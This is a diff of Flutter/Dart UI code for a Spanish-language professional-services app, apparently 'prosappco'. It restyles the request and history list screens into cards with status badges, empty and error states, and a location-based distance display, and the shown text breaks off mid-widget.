: IconButton(
|
||||
icon: const Icon(Icons.my_location_outlined),
|
||||
tooltip: 'Usar mi ubicación',
|
||||
onPressed: _useMyLocation,
|
||||
),
|
||||
enabledBorder: const UnderlineInputBorder(
|
||||
borderSide: BorderSide(color: Colors.grey),
|
||||
),
|
||||
focusedBorder: UnderlineInputBorder(
|
||||
focusedBorder: const UnderlineInputBorder(
|
||||
borderSide: BorderSide(color: Colors.grey),
|
||||
),
|
||||
),
|
||||
@@ -164,17 +246,37 @@ class _ProfessionalListScreenState extends State<ProfessionalListScreen> {
|
||||
}
|
||||
|
||||
_body(ProfessionalListState state) {
|
||||
if (state is ProfessionalListFailure) {
|
||||
return Center(
|
||||
child: Padding(
|
||||
padding: const EdgeInsets.all(24),
|
||||
child: Column(
|
||||
mainAxisSize: MainAxisSize.min,
|
||||
children: [
|
||||
const Icon(Icons.error_outline, size: 40, color: Colors.grey),
|
||||
const SizedBox(height: 12),
|
||||
const Text('No se pudo cargar la lista', textAlign: TextAlign.center),
|
||||
const SizedBox(height: 16),
|
||||
OutlinedButton(
|
||||
onPressed: () => bloc.add(const ProfessionalListFetch()),
|
||||
child: const Text('Reintentar'),
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
);
|
||||
}
|
||||
if (state is ProfessionalListSuccess) {
|
||||
final List<UserProfessional> filteredUsers;
|
||||
|
||||
// TODO: encaso de filtro dañado
|
||||
// if (_searchController.text.isNotEmpty) {
|
||||
filteredUsers = state.users
|
||||
.where((element) => removeDiacritics(element.myUser.name!)
|
||||
.where((element) => removeDiacritics(element.myUser.name ?? '')
|
||||
.toLowerCase()
|
||||
.contains(removeDiacritics(_searchController.text.toLowerCase())))
|
||||
.where((user) =>
|
||||
user.myUser.id != ApiUserRepository.currentUserId ?? '')
|
||||
user.myUser.id != (ApiUserRepository.currentUserId ?? ''))
|
||||
.where(
|
||||
(user) => user.professionalInfo.profession == _selectedProfession)
|
||||
.toList();
|
||||
@@ -226,7 +328,7 @@ class _ProfessionalListScreenState extends State<ProfessionalListScreen> {
|
||||
);
|
||||
},
|
||||
child: filteredUsers[index].professionalInfo.rate.isEmpty ||
|
||||
settings?.tarifas == false
|
||||
settings?.tarifas != true
|
||||
? const Icon(
|
||||
Icons.keyboard_arrow_right,
|
||||
color: Colors.black,
|
||||
@@ -295,7 +397,10 @@ class _ProfessionalListScreenState extends State<ProfessionalListScreen> {
|
||||
],
|
||||
),
|
||||
subtitle: Text(
|
||||
_disponibilidad(filteredUsers[index].professionalInfo),
|
||||
_disponibilidad(filteredUsers[index].professionalInfo) +
|
||||
(filteredUsers[index].distanceKm != null
|
||||
? ' · ${filteredUsers[index].distanceKm!.toStringAsFixed(1)} km'
|
||||
: ''),
|
||||
style: const TextStyle(
|
||||
fontSize: 13,
|
||||
color: Colors.blue,
|
||||
|
||||
@@ -1,5 +1,3 @@
|
||||
import 'package:user_repository/user_repository.dart';
|
||||
|
||||
import 'package:flutter/cupertino.dart';
|
||||
import 'package:flutter/material.dart';
|
||||
import 'package:flutter_bloc/flutter_bloc.dart';
|
||||
@@ -10,6 +8,20 @@ import 'package:prosappco/blocs/service_bloc/service_bloc.dart';
|
||||
import 'package:prosappco/screens/service/professional_service_screen.dart';
|
||||
import 'package:service_repository/service_repository.dart';
|
||||
import 'package:shimmer/shimmer.dart';
|
||||
import 'package:user_repository/user_repository.dart';
|
||||
|
||||
const _kPrimary = Color(0xFF1565C0);
|
||||
|
||||
extension _Th on BuildContext {
|
||||
ThemeData get _t => Theme.of(this);
|
||||
Color get bg => _t.scaffoldBackgroundColor;
|
||||
Color get card => _t.cardColor;
|
||||
Color get onSurface => _t.colorScheme.onSurface;
|
||||
Color get muted => _t.colorScheme.onSurface.withOpacity(0.55);
|
||||
Color get subtle => _t.colorScheme.onSurface.withOpacity(0.35);
|
||||
bool get isDark => _t.brightness == Brightness.dark;
|
||||
Color get shadowSm => isDark ? Colors.transparent : Colors.black.withOpacity(0.04);
|
||||
}
|
||||
|
||||
class ProfessionalPendingServiceListScreen extends StatefulWidget {
|
||||
const ProfessionalPendingServiceListScreen({super.key});
|
||||
@@ -26,10 +38,9 @@ class _ProfessionalPendingServiceListScreenState
|
||||
@override
|
||||
void initState() {
|
||||
super.initState();
|
||||
|
||||
serviceBloc = Injector.appInstance.get<ServiceBloc>();
|
||||
|
||||
serviceBloc.add(LoadPendingServicesForProfessional(ApiUserRepository.currentUserId ?? ''));
|
||||
serviceBloc.add(
|
||||
LoadPendingServicesForProfessional(ApiUserRepository.currentUserId ?? ''));
|
||||
}
|
||||
|
||||
@override
|
||||
@@ -37,180 +48,283 @@ class _ProfessionalPendingServiceListScreenState
|
||||
return BlocProvider<ServiceBloc>(
|
||||
create: (context) => serviceBloc,
|
||||
child: Scaffold(
|
||||
backgroundColor: context.bg,
|
||||
appBar: AppBar(
|
||||
title: const Text('Solicitudes'),
|
||||
backgroundColor: _kPrimary,
|
||||
foregroundColor: Colors.white,
|
||||
elevation: 0,
|
||||
),
|
||||
body: BlocBuilder<ServiceBloc, ServiceState>(
|
||||
builder: (context, serviceState) {
|
||||
if (serviceState is ServicesForUserLoaded) {
|
||||
return serviceState.services.isEmpty
|
||||
? const Center(
|
||||
child: Text('No tienes solicitudes'),
|
||||
)
|
||||
: ListView.builder(
|
||||
if (serviceState.services.isEmpty) return _emptyState(context);
|
||||
return ListView.builder(
|
||||
padding: const EdgeInsets.symmetric(vertical: 12),
|
||||
itemCount: serviceState.services.length,
|
||||
itemBuilder: (_, index) {
|
||||
final serviceInfo = serviceState.services[index];
|
||||
final user = serviceInfo.user;
|
||||
final service = serviceInfo.service;
|
||||
|
||||
return Container(
|
||||
decoration: BoxDecoration(
|
||||
border: Border(
|
||||
bottom: BorderSide(
|
||||
color: Colors.grey.withOpacity(0.2)),
|
||||
),
|
||||
),
|
||||
child: ListTile(
|
||||
onTap: () {
|
||||
Navigator.push(
|
||||
context,
|
||||
CupertinoPageRoute(
|
||||
builder: (context) =>
|
||||
ProfessionalServiceScreen(
|
||||
serviceId: service.id!,
|
||||
),
|
||||
),
|
||||
itemBuilder: (_, index) =>
|
||||
_RequestCard(info: serviceState.services[index]),
|
||||
);
|
||||
}
|
||||
if (serviceState is CreateServiceFailure) {
|
||||
return _errorState(context, () => serviceBloc.add(
|
||||
LoadPendingServicesForProfessional(
|
||||
ApiUserRepository.currentUserId ?? '')));
|
||||
}
|
||||
return _shimmerList();
|
||||
},
|
||||
leading: Container(
|
||||
width: 60,
|
||||
height: 60,
|
||||
decoration: BoxDecoration(
|
||||
color: Colors.grey.shade300,
|
||||
shape: BoxShape.circle,
|
||||
image: user.picture == null
|
||||
? null
|
||||
: DecorationImage(
|
||||
image: NetworkImage(user.picture!),
|
||||
fit: BoxFit.contain,
|
||||
),
|
||||
),
|
||||
child: user.picture == null
|
||||
? Icon(
|
||||
CupertinoIcons.person,
|
||||
color: Colors.grey.shade400,
|
||||
size: 40,
|
||||
)
|
||||
: null,
|
||||
),
|
||||
title: Row(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
children: [
|
||||
Flexible(
|
||||
child: Text(
|
||||
'${user.name}',
|
||||
overflow: TextOverflow.ellipsis,
|
||||
style: const TextStyle(
|
||||
fontWeight: FontWeight.bold,
|
||||
),
|
||||
),
|
||||
),
|
||||
const SizedBox(width: 5),
|
||||
Text(
|
||||
'${DateFormat('dd MMMM', 'es').format(DateTime.parse(service.day))} - ${ScheduleEntity.getFormatTime(service.range1Hour1)}',
|
||||
style: TextStyle(
|
||||
color: Colors.grey[600],
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
subtitle: Column(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
children: [
|
||||
Row(
|
||||
children: [
|
||||
const Text(
|
||||
'Estado:',
|
||||
style: TextStyle(
|
||||
fontStyle: FontStyle.italic,
|
||||
),
|
||||
),
|
||||
const SizedBox(width: 5),
|
||||
customStatus(service),
|
||||
],
|
||||
),
|
||||
service.description.isEmpty
|
||||
? Container()
|
||||
: Text(
|
||||
'"${service.description.trim()}"',
|
||||
overflow: TextOverflow.ellipsis,
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
);
|
||||
},
|
||||
);
|
||||
}
|
||||
|
||||
Widget _errorState(BuildContext context, VoidCallback onRetry) {
|
||||
return Center(
|
||||
child: Padding(
|
||||
padding: const EdgeInsets.all(32),
|
||||
child: Column(mainAxisSize: MainAxisSize.min, children: [
|
||||
Container(
|
||||
width: 72,
|
||||
height: 72,
|
||||
decoration: BoxDecoration(
|
||||
color: context.subtle.withOpacity(0.1), shape: BoxShape.circle),
|
||||
child:
|
||||
Icon(Icons.error_outline, size: 36, color: context.subtle),
|
||||
),
|
||||
const SizedBox(height: 16),
|
||||
Text('No se pudo cargar la información',
|
||||
style: TextStyle(
|
||||
fontSize: 16,
|
||||
fontWeight: FontWeight.w700,
|
||||
color: context.muted)),
|
||||
const SizedBox(height: 6),
|
||||
Text('Revisa tu conexión e inténtalo de nuevo.',
|
||||
textAlign: TextAlign.center,
|
||||
style: TextStyle(
|
||||
fontSize: 13, color: context.subtle, height: 1.5)),
|
||||
const SizedBox(height: 16),
|
||||
OutlinedButton(onPressed: onRetry, child: const Text('Reintentar')),
|
||||
]),
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
Widget _emptyState(BuildContext context) {
|
||||
return Center(
|
||||
child: Padding(
|
||||
padding: const EdgeInsets.all(32),
|
||||
child: Column(mainAxisSize: MainAxisSize.min, children: [
|
||||
Container(
|
||||
width: 72,
|
||||
height: 72,
|
||||
decoration: BoxDecoration(
|
||||
color: context.subtle.withOpacity(0.1), shape: BoxShape.circle),
|
||||
child:
|
||||
Icon(Icons.inbox_outlined, size: 36, color: context.subtle),
|
||||
),
|
||||
const SizedBox(height: 16),
|
||||
Text('Sin solicitudes pendientes',
|
||||
style: TextStyle(
|
||||
fontSize: 16,
|
||||
fontWeight: FontWeight.w700,
|
||||
color: context.muted)),
|
||||
const SizedBox(height: 6),
|
||||
Text('Cuando un cliente solicite tus servicios\naparecerá aquí.',
|
||||
textAlign: TextAlign.center,
|
||||
style: TextStyle(
|
||||
fontSize: 13, color: context.subtle, height: 1.5)),
|
||||
]),
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
Widget _shimmerList() {
|
||||
return Shimmer.fromColors(
|
||||
baseColor: Colors.grey[300]!,
|
||||
highlightColor: Colors.grey[100]!,
|
||||
child: ListView.builder(
|
||||
itemCount: 10,
|
||||
itemBuilder: (_, __) => ListTile(
|
||||
leading: CircleAvatar(
|
||||
backgroundColor: Colors.grey[300],
|
||||
radius: 30,
|
||||
),
|
||||
title: Container(
|
||||
height: 20,
|
||||
padding: const EdgeInsets.symmetric(vertical: 12),
|
||||
itemCount: 8,
|
||||
itemBuilder: (_, __) => Container(
|
||||
margin: const EdgeInsets.symmetric(horizontal: 16, vertical: 6),
|
||||
height: 84,
|
||||
decoration: BoxDecoration(
|
||||
color: Colors.grey.shade300,
|
||||
borderRadius: BorderRadius.circular(8),
|
||||
),
|
||||
),
|
||||
subtitle: Container(
|
||||
height: 15,
|
||||
decoration: BoxDecoration(
|
||||
color: Colors.grey.shade300,
|
||||
borderRadius: BorderRadius.circular(8),
|
||||
),
|
||||
),
|
||||
),
|
||||
),
|
||||
);
|
||||
},
|
||||
color: Colors.white, borderRadius: BorderRadius.circular(14)),
|
||||
),
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
Container customStatus(ServiceEntity service) {
|
||||
if (service.status == ServiceStatus.pending) {
|
||||
return itemStatus(Colors.black54, 'Pendiente');
|
||||
}
|
||||
if (service.status == ServiceStatus.acepted) {
|
||||
return itemStatus(Colors.green, 'Aceptado');
|
||||
}
|
||||
if (service.status == ServiceStatus.active) {
|
||||
return itemStatus(Colors.blueAccent, 'Activo');
|
||||
}
|
||||
|
||||
return itemStatus(Colors.red, 'Cancelado');
|
||||
}
|
||||
class _RequestCard extends StatelessWidget {
|
||||
final ServiceInfoUI info;
|
||||
const _RequestCard({required this.info});
|
||||
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
final service = info.service;
|
||||
final user = info.user;
|
||||
final si = _statusInfo(service.status);
|
||||
final dateStr = DateFormat('dd MMM yyyy', 'es')
|
||||
.format(DateTime.parse(service.day));
|
||||
final timeStr = ScheduleEntity.getFormatTime(service.range1Hour1) ?? '';
|
||||
|
||||
Container itemStatus(Color color, String text) {
|
||||
return Container(
|
||||
padding: const EdgeInsets.symmetric(
|
||||
horizontal: 8,
|
||||
vertical: 3,
|
||||
),
|
||||
margin: const EdgeInsets.symmetric(horizontal: 16, vertical: 6),
|
||||
decoration: BoxDecoration(
|
||||
color: color,
|
||||
borderRadius: BorderRadius.circular(8),
|
||||
color: context.card,
|
||||
borderRadius: BorderRadius.circular(14),
|
||||
boxShadow: [
|
||||
BoxShadow(
|
||||
color: context.shadowSm,
|
||||
blurRadius: 10,
|
||||
offset: const Offset(0, 2))
|
||||
],
|
||||
),
|
||||
child: ClipRRect(
|
||||
borderRadius: BorderRadius.circular(14),
|
||||
child: InkWell(
|
||||
onTap: () => Navigator.push(
|
||||
context,
|
||||
CupertinoPageRoute(
|
||||
builder: (_) =>
|
||||
ProfessionalServiceScreen(serviceId: service.id!)),
|
||||
),
|
||||
child: IntrinsicHeight(
|
||||
child: Row(children: [
|
||||
Container(width: 4, color: si.color),
|
||||
Padding(
|
||||
padding: const EdgeInsets.all(12),
|
||||
child: Container(
|
||||
width: 50,
|
||||
height: 50,
|
||||
decoration: BoxDecoration(
|
||||
shape: BoxShape.circle,
|
||||
border: Border.all(
|
||||
color: si.color.withOpacity(0.35), width: 2)),
|
||||
child: ClipOval(
|
||||
child: (user.picture == null || user.picture!.isEmpty)
|
||||
? Container(
|
||||
color: _kPrimary.withOpacity(0.1),
|
||||
child: Center(
|
||||
child: Text(
|
||||
text,
|
||||
user.name?.isNotEmpty == true
|
||||
? user.name![0].toUpperCase()
|
||||
: '?',
|
||||
style: const TextStyle(
|
||||
fontStyle: FontStyle.italic,
|
||||
color: Colors.white,
|
||||
fontSize: 18,
|
||||
fontWeight: FontWeight.w700,
|
||||
color: _kPrimary),
|
||||
),
|
||||
),
|
||||
)
|
||||
: Image.network(user.picture!, fit: BoxFit.cover),
|
||||
),
|
||||
),
|
||||
),
|
||||
Expanded(
|
||||
child: Padding(
|
||||
padding: const EdgeInsets.symmetric(vertical: 12),
|
||||
child: Column(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
mainAxisAlignment: MainAxisAlignment.center,
|
||||
children: [
|
||||
Text(user.name ?? '',
|
||||
style: TextStyle(
|
||||
fontSize: 14,
|
||||
fontWeight: FontWeight.w700,
|
||||
color: context.onSurface)),
|
||||
if (service.description.isNotEmpty) ...[
|
||||
const SizedBox(height: 2),
|
||||
Text('"${service.description}"',
|
||||
style: TextStyle(
|
||||
fontSize: 12,
|
||||
color: context.muted,
|
||||
fontStyle: FontStyle.italic),
|
||||
maxLines: 1,
|
||||
overflow: TextOverflow.ellipsis),
|
||||
],
|
||||
const SizedBox(height: 5),
|
||||
Row(children: [
|
||||
Icon(Icons.calendar_today_outlined,
|
||||
size: 11, color: context.subtle),
|
||||
const SizedBox(width: 4),
|
||||
Text('$dateStr · $timeStr',
|
||||
style: TextStyle(
|
||||
fontSize: 11,
|
||||
color: context.muted,
|
||||
fontWeight: FontWeight.w500)),
|
||||
]),
|
||||
],
|
||||
),
|
||||
),
|
||||
),
|
||||
Padding(
|
||||
padding: const EdgeInsets.fromLTRB(8, 12, 12, 12),
|
||||
child: Column(
|
||||
mainAxisAlignment: MainAxisAlignment.center,
|
||||
crossAxisAlignment: CrossAxisAlignment.end,
|
||||
children: [
|
||||
_StatusBadge(si: si),
|
||||
const SizedBox(height: 6),
|
||||
Icon(Icons.chevron_right, size: 18, color: context.subtle),
|
||||
],
|
||||
),
|
||||
),
|
||||
]),
|
||||
),
|
||||
),
|
||||
),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// pending - 0
|
||||
// acepted - 1
|
||||
// active - 2
|
||||
// cancelled - 3
|
||||
// completed - 4
|
||||
class _StatusBadge extends StatelessWidget {
|
||||
final _StatusInfo si;
|
||||
const _StatusBadge({required this.si});
|
||||
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
return Container(
|
||||
padding: const EdgeInsets.symmetric(horizontal: 8, vertical: 4),
|
||||
decoration: BoxDecoration(
|
||||
color: si.color.withOpacity(0.1),
|
||||
borderRadius: BorderRadius.circular(20),
|
||||
border: Border.all(color: si.color.withOpacity(0.3)),
|
||||
),
|
||||
child: Row(mainAxisSize: MainAxisSize.min, children: [
|
||||
Icon(si.icon, size: 10, color: si.color),
|
||||
const SizedBox(width: 4),
|
||||
Text(si.label,
|
||||
style: TextStyle(
|
||||
fontSize: 10, fontWeight: FontWeight.w700, color: si.color)),
|
||||
]),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
class _StatusInfo {
|
||||
final String label;
|
||||
final Color color;
|
||||
final IconData icon;
|
||||
const _StatusInfo(this.label, this.color, this.icon);
|
||||
}
|
||||
|
||||
_StatusInfo _statusInfo(ServiceStatus status) {
|
||||
switch (status) {
|
||||
case ServiceStatus.acepted:
|
||||
return const _StatusInfo('Aceptado', Color(0xFF1565C0), Icons.check_circle_outline);
|
||||
case ServiceStatus.active:
|
||||
return const _StatusInfo('En curso', Color(0xFF16A34A), Icons.play_circle_outline);
|
||||
case ServiceStatus.completed:
|
||||
return const _StatusInfo('Completado', Color(0xFF64748B), Icons.task_alt_outlined);
|
||||
case ServiceStatus.denied:
|
||||
return const _StatusInfo('Rechazado', Color(0xFFDC2626), Icons.cancel_outlined);
|
||||
case ServiceStatus.cancelled:
|
||||
return const _StatusInfo('Cancelado', Color(0xFF9CA3AF), Icons.remove_circle_outline);
|
||||
case ServiceStatus.selfBooked:
|
||||
return const _StatusInfo('Reservado', Color(0xFF7C3AED), Icons.bookmark_outline);
|
||||
default:
|
||||
return const _StatusInfo('Pendiente', Color(0xFFD97706), Icons.hourglass_top_outlined);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -94,7 +94,7 @@ class _ProfessionalScoreListScreenState
|
||||
),
|
||||
const SizedBox(width: 5),
|
||||
Text(
|
||||
'${score.createdAt.toDate().day}/${score.createdAt.toDate().month}/${score.createdAt.toDate().year}',
|
||||
'${(DateTime.tryParse(score.createdAt) ?? DateTime.now()).day}/${(DateTime.tryParse(score.createdAt) ?? DateTime.now()).month}/${(DateTime.tryParse(score.createdAt) ?? DateTime.now()).year}',
|
||||
style: TextStyle(
|
||||
color: Colors.grey[600],
|
||||
),
|
||||
|
||||
@@ -1,5 +1,3 @@
|
||||
import 'package:user_repository/user_repository.dart';
|
||||
|
||||
import 'package:flutter/cupertino.dart';
|
||||
import 'package:flutter/material.dart';
|
||||
import 'package:flutter_bloc/flutter_bloc.dart';
|
||||
@@ -10,6 +8,21 @@ import 'package:prosappco/blocs/service_bloc/service_bloc.dart';
|
||||
import 'package:prosappco/screens/service/professional_service_screen.dart';
|
||||
import 'package:service_repository/service_repository.dart';
|
||||
import 'package:shimmer/shimmer.dart';
|
||||
import 'package:user_repository/user_repository.dart';
|
||||
|
||||
const _kPrimary = Color(0xFF1565C0);
|
||||
|
||||
extension _Th on BuildContext {
|
||||
ThemeData get _t => Theme.of(this);
|
||||
Color get bg => _t.scaffoldBackgroundColor;
|
||||
Color get card => _t.cardColor;
|
||||
Color get onSurface => _t.colorScheme.onSurface;
|
||||
Color get muted => _t.colorScheme.onSurface.withOpacity(0.55);
|
||||
Color get subtle => _t.colorScheme.onSurface.withOpacity(0.35);
|
||||
bool get isDark => _t.brightness == Brightness.dark;
|
||||
Color get shadowSm =>
|
||||
isDark ? Colors.transparent : Colors.black.withOpacity(0.04);
|
||||
}
|
||||
|
||||
class ProfessionalServiceHistoryListScreen extends StatefulWidget {
|
||||
const ProfessionalServiceHistoryListScreen({super.key});
|
||||
@@ -26,9 +39,7 @@ class _ProfessionalServiceHistoryListScreenState
|
||||
@override
|
||||
void initState() {
|
||||
super.initState();
|
||||
|
||||
serviceBloc = Injector.appInstance.get<ServiceBloc>();
|
||||
|
||||
serviceBloc.add(LoadServicesHistoryForProfessional(
|
||||
ApiUserRepository.currentUserId ?? ''));
|
||||
}
|
||||
@@ -38,174 +49,282 @@ class _ProfessionalServiceHistoryListScreenState
|
||||
return BlocProvider<ServiceBloc>(
|
||||
create: (context) => serviceBloc,
|
||||
child: Scaffold(
|
||||
backgroundColor: context.bg,
|
||||
appBar: AppBar(
|
||||
title: const Text('Historial'),
|
||||
backgroundColor: _kPrimary,
|
||||
foregroundColor: Colors.white,
|
||||
elevation: 0,
|
||||
),
|
||||
body: BlocBuilder<ServiceBloc, ServiceState>(
|
||||
builder: (context, serviceState) {
|
||||
if (serviceState is ServicesForUserLoaded) {
|
||||
return serviceState.services.isEmpty
|
||||
? const Center(
|
||||
child: Text('No tienes servicios'),
|
||||
)
|
||||
: ListView.builder(
|
||||
if (serviceState.services.isEmpty) return _emptyState(context);
|
||||
return ListView.builder(
|
||||
padding: const EdgeInsets.symmetric(vertical: 12),
|
||||
itemCount: serviceState.services.length,
|
||||
itemBuilder: (_, index) {
|
||||
final serviceInfo = serviceState.services[index];
|
||||
final user = serviceInfo.user;
|
||||
final service = serviceInfo.service;
|
||||
|
||||
return Container(
|
||||
decoration: BoxDecoration(
|
||||
border: Border(
|
||||
bottom: BorderSide(
|
||||
color: Colors.grey.withOpacity(0.2)),
|
||||
),
|
||||
),
|
||||
child: ListTile(
|
||||
onTap: () {
|
||||
Navigator.push(
|
||||
final info = serviceState.services[index];
|
||||
return _ServiceCard(
|
||||
user: info.user,
|
||||
service: info.service,
|
||||
onTap: () => Navigator.push(
|
||||
context,
|
||||
CupertinoPageRoute(
|
||||
builder: (context) =>
|
||||
ProfessionalServiceScreen(
|
||||
serviceId: service.id!,
|
||||
),
|
||||
),
|
||||
);
|
||||
},
|
||||
leading: Container(
|
||||
width: 60,
|
||||
height: 60,
|
||||
decoration: BoxDecoration(
|
||||
color: Colors.grey.shade300,
|
||||
shape: BoxShape.circle,
|
||||
image: user.picture == null
|
||||
? null
|
||||
: DecorationImage(
|
||||
image: NetworkImage(user.picture!),
|
||||
fit: BoxFit.contain,
|
||||
),
|
||||
),
|
||||
child: user.picture == null
|
||||
? Icon(
|
||||
CupertinoIcons.person,
|
||||
color: Colors.grey.shade400,
|
||||
size: 40,
|
||||
)
|
||||
: null,
|
||||
),
|
||||
title: Row(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
children: [
|
||||
Flexible(
|
||||
child: Text(
|
||||
'${user.name}',
|
||||
overflow: TextOverflow.ellipsis,
|
||||
style: const TextStyle(
|
||||
fontWeight: FontWeight.bold,
|
||||
),
|
||||
),
|
||||
),
|
||||
const SizedBox(width: 5),
|
||||
Text(
|
||||
'${DateFormat('dd MMMM', 'es').format(DateTime.parse(service.day))} - ${ScheduleEntity.getFormatTime(service.range1Hour1)}',
|
||||
style: TextStyle(
|
||||
color: Colors.grey[600],
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
subtitle: Column(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
children: [
|
||||
Row(
|
||||
children: [
|
||||
const Text(
|
||||
'Estado:',
|
||||
style: TextStyle(
|
||||
fontStyle: FontStyle.italic,
|
||||
),
|
||||
),
|
||||
const SizedBox(width: 5),
|
||||
customStatus(service),
|
||||
],
|
||||
),
|
||||
service.description.isEmpty
|
||||
? const SizedBox()
|
||||
: Text(
|
||||
'"${service.description.trim()}"',
|
||||
overflow: TextOverflow.ellipsis,
|
||||
),
|
||||
],
|
||||
),
|
||||
builder: (_) => ProfessionalServiceScreen(
|
||||
serviceId: info.service.id!)),
|
||||
),
|
||||
);
|
||||
},
|
||||
);
|
||||
}
|
||||
if (serviceState is CreateServiceFailure) {
|
||||
return _errorState(
|
||||
context,
|
||||
() => serviceBloc.add(LoadServicesHistoryForProfessional(
|
||||
ApiUserRepository.currentUserId ?? '')));
|
||||
}
|
||||
return _shimmerList();
|
||||
},
|
||||
),
|
||||
),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
Widget _errorState(BuildContext context, VoidCallback onRetry) {
|
||||
final subtle = Theme.of(context).colorScheme.onSurface.withOpacity(0.35);
|
||||
final muted = Theme.of(context).colorScheme.onSurface.withOpacity(0.55);
|
||||
return Center(
|
||||
child: Padding(
|
||||
padding: const EdgeInsets.all(32),
|
||||
child: Column(mainAxisSize: MainAxisSize.min, children: [
|
||||
Container(
|
||||
width: 72, height: 72,
|
||||
decoration: BoxDecoration(
|
||||
color: subtle.withOpacity(0.1), shape: BoxShape.circle),
|
||||
child: Icon(Icons.error_outline, size: 36, color: subtle),
|
||||
),
|
||||
const SizedBox(height: 16),
|
||||
Text('No se pudo cargar la información',
|
||||
style: TextStyle(
|
||||
fontSize: 16, fontWeight: FontWeight.w700, color: muted)),
|
||||
const SizedBox(height: 6),
|
||||
Text('Revisa tu conexión e inténtalo de nuevo.',
|
||||
textAlign: TextAlign.center,
|
||||
style: TextStyle(fontSize: 13, color: subtle, height: 1.5)),
|
||||
const SizedBox(height: 16),
|
||||
OutlinedButton(onPressed: onRetry, child: const Text('Reintentar')),
|
||||
]),
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
Widget _emptyState(BuildContext context) {
|
||||
final subtle = Theme.of(context).colorScheme.onSurface.withOpacity(0.35);
|
||||
final muted = Theme.of(context).colorScheme.onSurface.withOpacity(0.55);
|
||||
return Center(
|
||||
child: Padding(
|
||||
padding: const EdgeInsets.all(32),
|
||||
child: Column(mainAxisSize: MainAxisSize.min, children: [
|
||||
Container(
|
||||
width: 72, height: 72,
|
||||
decoration: BoxDecoration(
|
||||
color: subtle.withOpacity(0.1), shape: BoxShape.circle),
|
||||
child: Icon(Icons.history_outlined, size: 36, color: subtle),
|
||||
),
|
||||
const SizedBox(height: 16),
|
||||
Text('Sin historial',
|
||||
style: TextStyle(
|
||||
fontSize: 16, fontWeight: FontWeight.w700, color: muted)),
|
||||
const SizedBox(height: 6),
|
||||
Text('Tus servicios completados aparecerán aquí.',
|
||||
textAlign: TextAlign.center,
|
||||
style: TextStyle(fontSize: 13, color: subtle, height: 1.5)),
|
||||
]),
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
Widget _shimmerList() {
|
||||
return Shimmer.fromColors(
|
||||
baseColor: Colors.grey[300]!,
|
||||
highlightColor: Colors.grey[100]!,
|
||||
child: ListView.builder(
|
||||
itemCount: 10,
|
||||
itemBuilder: (_, __) => ListTile(
|
||||
leading: CircleAvatar(
|
||||
backgroundColor: Colors.grey[300],
|
||||
radius: 30,
|
||||
),
|
||||
title: Container(
|
||||
height: 20,
|
||||
padding: const EdgeInsets.symmetric(vertical: 12),
|
||||
itemCount: 8,
|
||||
itemBuilder: (_, __) => Container(
|
||||
margin: const EdgeInsets.symmetric(horizontal: 16, vertical: 6),
|
||||
height: 84,
|
||||
decoration: BoxDecoration(
|
||||
color: Colors.grey.shade300,
|
||||
borderRadius: BorderRadius.circular(8),
|
||||
),
|
||||
),
|
||||
subtitle: Container(
|
||||
height: 15,
|
||||
decoration: BoxDecoration(
|
||||
color: Colors.grey.shade300,
|
||||
borderRadius: BorderRadius.circular(8),
|
||||
),
|
||||
),
|
||||
),
|
||||
),
|
||||
);
|
||||
},
|
||||
color: Colors.white, borderRadius: BorderRadius.circular(14)),
|
||||
),
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
Container customStatus(ServiceEntity service) {
|
||||
if (service.status == ServiceStatus.completed) {
|
||||
return itemStatus(Colors.blueAccent, 'Completado');
|
||||
}
|
||||
if (service.status == ServiceStatus.denied) {
|
||||
return itemStatus(Colors.red, 'Rechazado');
|
||||
}
|
||||
class _ServiceCard extends StatelessWidget {
|
||||
final MyUser user;
|
||||
final ServiceEntity service;
|
||||
final VoidCallback onTap;
|
||||
const _ServiceCard(
|
||||
{required this.user, required this.service, required this.onTap});
|
||||
|
||||
return itemStatus(Colors.red, 'Cancelado');
|
||||
}
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
final si = _statusInfo(service.status);
|
||||
final dateStr =
|
||||
DateFormat('dd MMM yyyy', 'es').format(DateTime.parse(service.day));
|
||||
final timeStr = ScheduleEntity.getFormatTime(service.range1Hour1) ?? '';
|
||||
|
||||
Container itemStatus(Color color, String text) {
|
||||
return Container(
|
||||
padding: const EdgeInsets.symmetric(
|
||||
horizontal: 8,
|
||||
vertical: 3,
|
||||
),
|
||||
margin: const EdgeInsets.symmetric(horizontal: 16, vertical: 6),
|
||||
decoration: BoxDecoration(
|
||||
color: color,
|
||||
borderRadius: BorderRadius.circular(8),
|
||||
color: context.card,
|
||||
borderRadius: BorderRadius.circular(14),
|
||||
boxShadow: [
|
||||
BoxShadow(
|
||||
color: context.shadowSm,
|
||||
blurRadius: 10,
|
||||
offset: const Offset(0, 2))
|
||||
],
|
||||
),
|
||||
child: ClipRRect(
|
||||
borderRadius: BorderRadius.circular(14),
|
||||
child: InkWell(
|
||||
onTap: onTap,
|
||||
child: IntrinsicHeight(
|
||||
child: Row(children: [
|
||||
Container(width: 4, color: si.color),
|
||||
Padding(
|
||||
padding: const EdgeInsets.all(12),
|
||||
child: Container(
|
||||
width: 50, height: 50,
|
||||
decoration: BoxDecoration(
|
||||
shape: BoxShape.circle,
|
||||
border: Border.all(
|
||||
color: si.color.withOpacity(0.35), width: 2)),
|
||||
child: ClipOval(
|
||||
child: (user.picture == null || user.picture!.isEmpty)
|
||||
? Container(
|
||||
